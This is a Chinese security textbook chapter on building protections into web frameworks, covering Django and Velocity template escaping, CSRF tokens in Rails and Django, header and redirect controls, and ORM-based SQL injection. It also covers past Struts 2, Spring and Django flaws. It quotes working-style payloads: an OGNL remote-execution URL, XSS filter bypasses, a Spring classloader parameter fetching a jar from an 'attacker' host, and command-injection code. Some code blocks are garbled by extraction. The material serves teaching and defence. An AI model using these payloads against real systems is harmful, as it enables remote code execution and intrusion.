Web框架安全

前面的章节,我们讨论了许多浏览器、服务器端的安全问题,这些问题都有对应的解决方法。总的来说,实施安全方案,要达到好的效果,必须要完成两个目标:

(1)安全方案正确、可靠;

(2)能够发现所有可能存在的安全问题,不出现遗漏。

只有深入理解漏洞原理之后,才能设计出真正有效、能够解决问题的方案,本书的许多篇幅,都是介绍漏洞形成的根本原因。比如真正理解了XSS、SQL注入等漏洞的产生原理后,想彻底解决这些顽疾并不难。但是,方案光有效是不够的,要想设计出完美的方案,还需要解决第二件事情,就是找到一个方法,能够让我们快速有效、不会遗漏地发现所有问题。而Web开发框架,为我们解决这个问题提供了便捷。

MVC框架安全

在现代Web开发中,使用MVC架构是一种流行的做法。MVC是Model-View-Controller的缩写,它将Web应用分为三层,View层负责用户视图、页面展示等工作;Controller负责应用的逻辑实现,接收View层传入的用户请求,并转发给对应的Model做处理;Model层则负责实现模型,完成数据的处理。

MVC框架示意图

从数据的流入来看,用户提交的数据先后流经了View层、Controller、Model层,数据的流出则反过来。在设计安全方案时,要牢牢把握住数据这个关键因素。在MVC框架中,通过切片、过滤器等方式,往往能对数据进行全局处理,这为设计安全方案提供了极大的便利。

比如在Spring Security中,通过URL pattern实现的访问控制,需要由框架来处理所有用户请求,在Spring Security获取了URL handler基础上,才有可能将后续的安全检查落实。在SpringSecurity的配置中,第一步就是在web.xml文件中增加一个filter,接管用户数据。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
<filter> <filter-name>springSecurityFilterChain</ filter-name> <filter- class>org.springframework.web.filter.Delegati ngFilterProxy</filter-class> </filter> <filter-mapping> <filter-name>springSecurityFilterChain</ filter-name> <url-pattern>/*</url-pattern> </filter-mapping>

然而数据的处理是复杂的,数据经过不同的应用逻辑处理后,其内容可能会发生改变。比如数据经过toLowercase,会把大写变成小写;而一些编码解码,则可能会把GBK变成Unicode码。这些处理都会改变数据的内容,因此在设计安全方案时,要考虑到数据可能的变化,认真斟酌安全检查插入的时机。

在本书第1章中曾经提到,一个优秀的安全方案,应该是:在正确的地方,做正确的事情。

举例来说,在“注入攻击”一章中,我们并没有使用PHP的magic_quotes_gpc作为一项对抗SQL注入的防御方案,这是因为magic_quotes_gpc是有缺陷的,它并没有在正确的地方解决问题。magic_quotes_gpc实际上是调用了一次addslashes(),将一些特殊符号(比如单引号)进行转义,变成了\’。

对应到MVC架构里,它是在View层做这件事情的,而SQL注入是Model层需要解决的问题,结果如何呢?黑客们找到了多种绕过magic_quotes_gpc的办法,比如使用GBK编码、使用无单引号的注入等。

PHP官方在若干年后终于开始正视这个问题,于是在官方文档的描述中不再推荐大家使用它:

PHP官方声明取消Magic Quotes

所以Model层的事情搞到View层去解决,效果只会适得其反。

一般来说,我们需要先想清楚要解决什么问题,深入理解这些问题后,再在“正确”的地方对数据进行安全检查。一些主要的Web安全威胁,如XSS、CSRF、SQL注入、访问控制、认证、URL跳转等不涉及业务逻辑的安全问题,都可以集中放在MVC框架中解决。

在框架中实施安全方案,比由程序员在业务中修复一个个具体的bug,有着更多的优势。

首先,有些安全问题可以在框架中统一解决,能够大大节省程序员的工作量,节约人力成本。当代码的规模大到一定程度时,在业务的压力下,专门花时间去一个个修补漏洞几乎成为不可能完成的任务。

其次,对于一些常见的漏洞来说,由程序员一个个修补可能会出现遗漏,而在框架中统一解决,有可能解决“遗漏”的问题。这需要制定相关的代码规范和工具配合。

最后,在每个业务里修补安全漏洞,补丁的标准难以统一,而在框架中集中实施的安全方案,可以使所有基于框架开发的业务都能受益,从安全方案的有效性来说,更容易把握。

模板引擎与XSS防御

在View层,可以解决XSS问题。在本书的“跨站脚本攻击”一章中,阐述了“输入检查”与“输出编码”这两种方法在XSS防御效果上的差异。XSS攻击是在用户的浏览器上执行的,其形成过程则是在服务器端页面渲染时,注入了恶意的HTML代码导致的。从MVC架构来说,是发生在View层,因此使用“输出编码”的防御方法更加合理,这意味着需要针对不同上下文的XSS攻击场景,使用不同的编码方式。

在“跨站脚本攻击”一章中,我们将“输出编码”的防御方法总结为以下几种:

在HTML标签中输出变量;

在HTML属性中输出变量;

在script标签中输出变量;

在事件中输出变量;

在CSS中输出变量;

在URL中输出变量。

针对不同的情况,使用不同的编码函数。那么现在流行的MVC框架是否符合这样的设计呢?答案是否定的。

在当前流行的MVC框架中,View层常用的技术是使用模板引擎对页面进行渲染,比如在“跨站脚本攻击”一章中所提到的Django,就使用了Django Templates作为模板引擎。模板引擎本身,可能会提供一些编码方法,比如,在Django Tem-plates中,使用filters中的escape作为HtmlEn-code的方法:

 1  2  3  4  5  6  7  8  9 10 11 12 13
<h1>Hello, {{ name|escape }}!</h1> Django Templates同时支持auto-escape,这符合Secure by Default原则。现在的Django Tem-plates,默认是将auto-escape开启的,所有的变量都会经过HtmlEncode后输出。默认是编码了5个字符: < is converted to &lt; > is converted to &gt; ' (single quote) is converted to &#39; " (double quote) is converted to &quot; & is converted to &amp;

如果要关闭auto-escape,则需要使用以下方法:

1
{{ data|safe }}

或者

1 2 3 4 5
{% autoescape off %} Hello {{ name }} {% endautoescape %}

为了方便,很多程序员可能会选择关闭auto-escape。要检查auto-escape是否被关闭也很简单,搜索代码里是否出现上面两种情况即可。

但是正如前文所述,最好的XSS防御方案,在不同的场景需要使用不同的编码函数,如果统一使用这5个字符的HtmlEncode,则很可能会被攻击者绕过。由此看来,这种auto-escape的方案,看起来也变得不那么美好了。(具体XSS攻击的细节在本书“跨站脚本攻击”一章中有深入探讨)

再看看非常流行的模板引擎Velocity,它也提供了类似的机制,但是有所不同的是,Velocity默认是没有开启HtmlEncode的。

在Velocity中,可以通过Event Handler来进行HtmlEncode。

1 2 3 4 5 67
eventhandler.referenceinsertion.class = org.apache.velocity.app.event.implement. EscapeHtmlReference eventhandler.escape.html.match = /msg.*/

使用方法如下例,这里同时还加入了一个转义SQL语句的Event Handler。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
... import org.apache.velocity.app.event.EventCartridge; import org.apache.velocity.app.event.ReferenceInsert ionEventHandler; import org.apache.velocity.app.event.implement.Escap eHtmlReference; import org.apache.velocity.app.event.implement.Escap eSqlReference; ... public class Test { public void myTest() { .... /** * Make a cartridge to hold the event handlers */ EventCartridge ec = new EventCartridge(); /* * then register and chain two escape- related handlers */ ec.addEventHandler(new EscapeHtmlReference()); ec.addEventHandler(new EscapeSqlReference()); /* * and then finally let it attach itself to the context */ ec.attachToContext( context ); /* * now merge your template with the context as you normally * do */ .... } }

但Velocity提供的处理机制,与Django的auto-escape所提供的机制是类似的,都只进行了HtmlEncode,而未细分编码使用的具体场景。不过幸运的是,在模板引擎中,可以实现自定义的编码函数,应用于不同场景。在Django中是使用自定义filters,在Velocity中则可以使用“宏”(ve-locimacro),比如:

XML编码输出,将会执行 XML Encode输出

1
#SXML($xml)

JS编码输出,将会执行JavaScript Encode输出

1
#SJS($js)

通过自定义的方法,使得XSS防御的功能得到完善;同时在模板系统中,搜索不安全的变量也有了依据,甚至在代码检测工具中,可以自动判断出需要使用哪一种安全的编码方法,这在安全开发流程中是非常重要的。

在其他的模板引擎中,也可以依据“是否有细分场景使用不同的编码方式”来判断XSS的安全方案是否完整。在很多Web框架官方文档中推荐的用法,就是存在缺陷的。Web框架的开发者在设计安全方案时,有时会缺乏来自安全专家的建议。所以开发者在使用框架时,应该慎重对待安全问题,不可盲从官方指导文档。

Web框架与CSRF防御

关于CSRF的攻击原理和防御方案,在本书“跨站点请求伪造”一章中有所阐述。在Web框架中可以使用security token解决CSRF攻击的问题。

CSRF攻击的目标,一般都会产生“写数据”操作的URL,比如“增”、“删”、“改”;而“读数据”操作并不是CSRF攻击的目标,因为在CSRF的攻击过程中攻击者无法获取到服务器端返回的数据,攻击者只是借用户之手触发服务器动作,所以读数据对于CSRF来说并无直接的意义(但是如果同时存在XSS漏洞或者其他的跨域漏洞,则可能会引起别的问题,在这里,仅仅就CSRF对抗本身进行讨论)。

因此,在Web应用开发中,有必要对“读操作”和“写操作”予以区分,比如要求所有的“写操作”都使用HTTP POST。

在很多讲述CSRF防御的文章中,都要求使用HTTP POST进行防御,但实际上POST本身并不足以对抗CSRF,因为POST也是可以自动提交的。但是POST的使用,对于保护token有着积极的意义,而security token的私密性(不可预测性原则),是防御CSRF攻击的基础。

对于Web框架来说,可以自动地在所有涉及POST的代码中添加token,这些地方包括所有的form表单、所有的Ajax POST请求等。

完整的CSRF防御方案,对于Web框架来说有以下几处地方需要改动。

(1)在Session中绑定token。如果不能保存到服务器端Session中,则可以替代为保存到Cookie里。

(2)在form表单中自动填入token字段,比如<input type=hidden name="anti_csrf_token"value="$token" />。

(3)在Ajax请求中自动添加token,这可能需要已有的Ajax封装实现的支持。

(4)在服务器端对比POST提交参数的token与Session中绑定的token是否一致,以验证CSRF攻击。

在Rails中,要做到这一切非常简单,只需要在Application Controller中增加一行即可:

1 2 3
protect_from_forgery :secret => "123456789012345678901234567890..."

它将根据secret和服务器端的随机因子自动生成token,并自动添加到所有form和由Rails生成的Ajax请求中。通过框架实现的这一功能大大简化了程序员的开发工作。

在Django中也有类似的功能,但是配置稍微要复杂点。

首先,将django.middleware.csrf.Csr-fViewMiddlewar添加到MIDDLEWARE_CLASSES中。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17
('django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionM iddleware', 'django.middleware.csrf.CsrfViewMiddlewar e', 'django.contrib.auth.middleware.Authenticati onMiddleware', 'django.contrib.messages.middleware.MessageM iddleware',)

然后,在form表单的模板中添加token。

1 2 3
<form action="." method="post">{% csrf_token %}

接下来,确认在View层的函数中使用了django.core.context_processors.csrf,如果使用的是RequestContext,则默认已经使用了,否则需要手动添加。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19
from django.core.context_processors import csrf from django.shortcuts import render_to_response def my_view(request): c = {} c.update(csrf(request)) # ... view code here return render_to_response("a_template.html", c)

这样就配置成功了,可以享受CSRF防御的效果了。

在Ajax请求中,一般是插入一个包含了token的HTTP头,使用HTTP头是为了防止token泄密,因为一般的JavaScript无法获取到HTTP头的信息,但是在存在一些跨域漏洞时可能会出现例外。

下面是一个在Ajax中添加自定义token的例子。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
$(document).ajaxSend(function(event, xhr, settings) { function getCookie(name) { var cookieValue = null; if (document.cookie && document.cookie != '') { var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) { document.location.protocol; var sr_origin = '//' + host; var origin = protocol + sr_origin; // Allow absolute or scheme relative URLs to same origin return (url == origin || url.slice(0, origin.length + 1) == origin + '/') || (url == sr_origin || url.slice(0, sr_origin.length + 1) == sr_origin + '/') || // or any other URL that isn't scheme relative or absolute i.e relative. !(/^(\/\/|http:| https:).*/.test(url)); } function safeMethod(method) { return (/^(GET|HEAD|OPTIONS| TRACE)$/.test(method)); } if (!safeMethod(settings.type) && sameOrigin(settings.url)) { xhr.setRequestHeader("X-CSRFToken", getCookie('csrftoken')); } });

在Spring MVC以及一些其他的流行Web框架中,并没有直接提供针对CSRF的保护,因此这些功能需要自己实现。

HTTP Headers管理

在Web框架中,可以对HTTP头进行全局化的处理,因此一些基于HTTP头的安全方案可以很好地实施。

比如针对HTTP返回头的CRLF注入(攻击原理细节请参考“注入攻击”一章),因为HTTP头实际上可以看成是key-value对,比如:

1 2 3
Location: http://www.a.com Host: 127.0.0.1

因此对抗CRLF的方案只需要在“value”中编码所有的\r\n即可。这里没有提到在“key”中编码\r\n,是因为让用户能够控制“key”是极其危险的事情,在任何情况下都不应该使其发生。

类似的,针对30X返回号的HTTP Response,浏览器将会跳转到Location指定的URL,攻击者往往利用此类功能实施钓鱼或诈骗。

1 2 3 4 5
HTTP/1.1 302 Moved Temporarily (...) Location: http://www.phishing.tld

因此,对于框架来说,管理好跳转目的地址是很有必要的。一般来说,可以在两个地方做这件事情:

(1)如果Web框架提供统一的跳转函数,则可以在跳转函数内部实现一个白名单,指定跳转地址只能在白名单中;

(2)另一种解决方式是控制HTTP的Location字段,限制Location的值只能是哪些地址,也能起到同样的效果,其本质还是白名单。

有很多与安全相关的Headers,也可以统一在Web框架中配置。比如用来对抗ClickJacking的X-Frame-Options,需要在页面的HTTP Response中添加:

1
X-Frame-Options: SAMEORIGIN

Web框架可以封装此功能,并提供页面配置。该HTTP头有三个可选的值:SAMEORIGIN、DENY、ALLOW-FROM origin,适用于各种不同的场景。

在前面的章节中,还曾提到Cookie的HttpOnly Flag,它能告诉浏览器不要让JavaScript访问该Cookie,在Session劫持等问题上有着积极的意义,而且成本非常小。

但并不是所有的Web服务器、Web容器、脚本语言提供的API都支持设置HttpOnly Cookie,所以很多时候需要由框架实现一个功能:对所有的Cookie默认添加HttpOnly,不需要此功能的Cookie则单独在配置文件中列出。

这将是非常有用的一项安全措施,在框架中实现的好处就是不用担心会有遗漏。就 HttpOnlyCookie来说,它要求在所有服务器端设置该Cookie的地方都必须加上,这可能意味着很多不同的业务和页面,只要一个地方有遗漏,就会成为短板。当网站的业务复杂时,登录入口可能就有数十个,兼顾所有Set-Cookie页面会非常麻烦,因此在框架中解决将成为最好的方案。

一般来说,框架会提供一个统一的设置Cookie函数,HttpOnly的功能可以在此函数中实现;如果没有这样的函数,则需要统一在HTTP返回头中配置实现。

数据持久层与SQL注入

使用ORM(Object/Relation Mapping)框架对SQL注入是有积极意义的。我们知道对抗SQL注入的最佳方式就是使用“预编译绑定变量”。在实际解决SQL注入时,还有一个难点就是应用复杂后,代码数量庞大,难以把可能存在SQL注入的地方不遗漏地找出来,而ORM框架为我们发现问题提供了一个便捷的途径。

以ORM框架ibatis举例,它是基于sqlmap的,生成的SQL语句都结构化地写在XML文件中。ibatis支持动态SQL,可以在SQL语句中插入动态变量:$value$,如果用户能够控制这个变量,则会存在一个SQL注入的漏洞。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17
<select id="User.getUser" parameterClass="cn.ibatis.test.User" resultClass="cn.ibatis.test.User"> select TABLE_NAME,TABLESPACE_NAME from user_tables where table_name like '%'|| #table_ name#||'%' order by $orderByColumn$ $orderByType$ </select>

而静态变量#value#则是安全的,因此在使用ibatis时,只需要搜索所有的sqlmap文件中是否包含动态变量即可。当业务需要使用动态SQL时,可以作为特例处理,比如在上层的代码逻辑中针对该变量进行严格的控制,以保证不会发生注入问题。

而在Django中,做法则更简单,Django提供的Database API,默认已经将所有输入进行了SQL转义,比如:

1
foo.get_list(bar__exact="' OR 1=1")

其最终效果类似于:

1
SELECT * FROM foos WHERE bar = '\' OR 1=1'

使用Web框架提供的功能,在代码风格上更加统一,也更利于代码审计。

还能想到什么

除了上面讲到的几点外,在框架中还能实现什么安全方案呢?

其实选择是很多的,凡是在Web框架中可能实现的安全方案,只要对性能没有太大的损耗,都应该考虑实施。

比如文件上传功能,如果应用实现有问题,可能就会成为严重的漏洞。若是由每个业务单独实现文件上传功能,其设计和代码都会存在差异,复杂情况也会导致安全问题难以控制。但如果在Web框架中能为文件上传功能提供一个足够安全的二方库或者函数(具体可参考“文件上传漏洞”一章),就可以为业务线的开发者解决很多问题,让程序员可以把精力和重点放在功能实现上。

Spring Security为Spring MVC的用户提供了许多安全功能,比如基于URL的访问控制、加密方法、证书支持、OpenID支持等。但Spring Secu-rity尚缺乏诸如XSS、CSRF等问题的解决方案。

在设计整体安全方案时,比较科学的方法是按照本书第1章中所列举的过程来进行——首先建立威胁模型,然后再判断哪些威胁是可以在框架中得到解决的。

在设计Web框架安全解决方案时,还需要保存好安全检查的日志。在设计安全逻辑时也需要考虑到日志的记录,比如发生XSS攻击时,可以记录下攻击者的IP、时间、UserAgent、目标URL、用户名等信息。这些日志,对于后期建立攻击事件分析、入侵分析都是有积极意义的。当然,开启日志也会造成一定的性能损失,因此在设计时,需要考虑日志记录行为的频繁程度,并尽可能避免误报。

在设计Web框架安全时,还需要与时俱进。当新的威胁出现时,应当及时完成对应的防御方案,如此一个Web框架才具有生命力。而一些0day漏洞,也有可能通过“虚拟补丁”的方式在框架层面解决,因为Web框架就像是一层外衣,为Web应用提供了足够的保护和控制力。

Web框架自身安全

前面几节讲的都是在Web框架中实现安全方案,但Web框架本身也可能会出现漏洞,只要是程序,就可能出现bug。但是开发框架由于其本身的特殊性,一般网站出于稳定的考虑不会对这个基础设施频繁升级,因此开发框架的漏洞可能不会得到及时的修补,但由此引发的后果却会很严重。

下面讲到的几个漏洞,都是一些流行的Web开发框架曾经出现过的严重漏洞。研究这些案例,可以帮助我们更好地理解框架安全,在使用开发框架时更加的小心,同时让我们不要迷信于开发框架的权威。

Struts 2命令执行漏洞

2010年7月9日,安全研究者公布了Struts 2一个远程执行代码的漏洞(CVE-2010-1870),严格来说,这其实是XWork的漏洞,因为Struts 2的核心使用的是WebWork,而WebWork又是使用XWork来处理action的。

这个漏洞的细节描述公布在exploit-db上。

在这里简单摘述如下:

XWork通过getters/setters方法从HTTP的参数中获取对应action的名称,这个过程是基于OGNL(Object Graph Navigation Language)的。OGNL是怎么处理的呢?如下:

1 2 3
user.address.city=Bishkek&user['favoriteDrink ']=kumys

会被转化成:

1 2 3
action.getUser().getAddress().setCity("Bishkek") action.getUser().setFavoriteDrink("kumys")

这个过程是由ParametersInterceptor调用ValueStack.setValue()完成的,它的参数是用户可控的,由HTTP参数传入。OGNL的功能较为强大,远程执行代码也正是利用了它的功能。

 1  2  3  4  5  6  7  8  9 10 11 12 13
* Method calling: foo() * Static method calling: @java.lang.System@exit(1) * Constructor calling: new MyClass() * Ability to work with context variables: #foo = new MyClass() * And more...

由于参数完全是用户可控的,所以XWork出于安全的目的,增加了两个方法用以阻止代码执行。

1 2 3 4 5 6 7 8 9
* OgnlContext's property 'xwork.MethodAccessor.denyMethodExecution' ( 缺省为true) * SecurityMemberAccess private field called 'allowStaticMethodAccess' (缺省为false)

但这两个方法可以被覆盖,从而导致代码执行。

 1  2  3  4  5  6  7  8  9 10 11 12 13
#_memberAccess['allowStaticMethodAccess'] = true #foo = new java .lang.Boolean("false") #context['xwork.MethodAccessor.denyMethodExec ution'] = #foo #rt = @java.lang.Runtime@getRuntime() #rt.exec('mkdir /tmp/PWNED')

ParametersInterceptor是不允许参数名称中有#的,因为OGNL中的许多预定义变量也是以#表示的。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
* #context - OgnlContext, the one guarding method execution based on 'xwork.MethodAccessor. denyMethodExecution' property value. * #_memberAccess - SecurityMemberAccess, whose 'allowStaticAccess' field prevented static method execution. * #root * #this * #_typeResolver * #_classResolver * #_traceEvaluations * #_lastEvaluation * #_keepLastEvaluation

可是攻击者在过去找到了这样的方法(bug编号XW-641):使用\u0023来代替#,这是#的十六进制编码,从而构造出可以远程执行的攻击pay-load。

 1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 20 21
http://mydomain/MyStruts.action? ('\u0023_memberAccess[\'allowStaticMethodAcce ss\']')( meh)=true&(aaa) (('\u0023context[\'xwork.MethodAccessor.den yMethodExecution\']\u003d\u0023foo') (\u0023foo\u003dnew %20java.lang.Boolean("false")) )&(asdf)(('\u0023rt.exit(1)')(\u0023rt \u003d@java.lang.Runtime@getRunti me()))=1

最终导致代码执行成功。

Struts 2的问题补丁

Struts 2官方目前公布了几个安全补丁:

Struts 2官方的补丁页面

但深入其细节不难发现,补丁提交者对于安全的理解是非常粗浅的。以S2-002的漏洞修补为例,这是一个XSS漏洞,发现者当时提交给官方的POC只是构造了script标签。

1 2 3
http://localhost/foo/bar.action? <script>alert(1)</script>test=hello

我们看看当时官方是如何修补的:

新增的修补代码:

可以看到,只是简单地替换掉<script>标签。

于是有人发现,如果构造<<script>>,经过一次处理后会变为<script>。漏洞报告给官方后,开发者再次提交了一个补丁,这次将递归处理类似<<<<script>>>>的情况。

修补代码仅仅是将if变成while:

这种漏洞修补方式,仍然是存在问题的,攻击者可以通过下面的方法绕过:

1 2 3
http://localhost/foo/bar.action?<script test=hello>alert(1)</script>

由此可见,Struts 2的开发者,本身对于安全的理解是非常不到位的。

关于如何正确地防御XSS漏洞,请参考本书的“跨站脚本攻击”一章。

Spring MVC命令执行漏洞

2010年6月,公布了Spring框架一个远程执行命令漏洞,CVE编号是CVE-2010-1622。漏洞影响范围如下:

1 2 3
SpringSource Spring Framework 3.0.0~3.0.2 SpringSource Spring Framework 2.5.0~2.5.7

由于Spring框架允许使用客户端所提供的数据来更新对象属性,而这一机制允许攻击者修改class.classloader加载对象的类加载器的属性,这可能导致执行任意命令。例如,攻击者可以将类加载器所使用的URL修改到受控的位置。

(1)创建attack.jar并可通过HTTP URL使用。这个jar必须包含以下内容: ?META-INF/spring-form.tld,定义Spring表单标签并指定实现为标签文件而不是类; ?META-INF/tags/中的标签文件,包含标签定义(任意Java代码)。

(2)通过以下HTTP参数向表单控制器提交HTTP请求:

1 2 3
class.classLoader.URLs[0]=jar:http://attacker /attack.jar!/

这会使用攻击者的URL覆盖WebappClass-Loader的repositoryURLs属性的第0个元素。(3)之后org.apache.jasper.compiler.TldLo-cationsCache.scanJars()会使用 WebappClass-Loader的URL解析标签库,会对TLD中所指定的所有标签文件解析攻击者所控制的jar。

这个漏洞将直接危害到使用Spring MVC框架的网站,而大多数程序员可能并不会注意到这个问题。

Django命令执行漏洞

在Django 0.95版本中,也出现了一个远程执行命令漏洞,根据官方代码diff后的细节,可以看到这是一个很明显的“命令注入”漏洞,我们在“注入攻击”一章中,曾经描述过这种漏洞。

Django在处理消息文件时存在问题,远程攻击者构建恶意.po文件,诱使用户访问处理,可导致以应用程序进程权限执行任意命令。

Django的漏洞代码

漏洞代码如下:

1 2 3
cmd = 'msgfmt -o "%s.mo" "%s.po"' % (pf, pf) os.system(cmd)

这是一个典型的命令注入漏洞。但这个漏洞从利用上来说,意义不是特别大,它的教育意义更为重要。

小结

在本章中讲述了一些Web框架中可以实施的安全方案。Web框架本身也是应用程序的一个组成部分,只是这个组成部分较为特殊,处于基础和底层的位置。Web框架为安全方案的设计提供了很多便利,好好利用它的强大功能,能够设计出非常优美的安全方案。

但我们也不能迷信于Web框架本身。很多Web框架提供的安全解决方案有时并不可靠,我们仍然需要自己实现一个更好的方案。同时Web框架自身的安全性也不可忽视,作为一个基础服务,一旦出现漏洞,影响是巨大的。

浙ICP备11005866号-12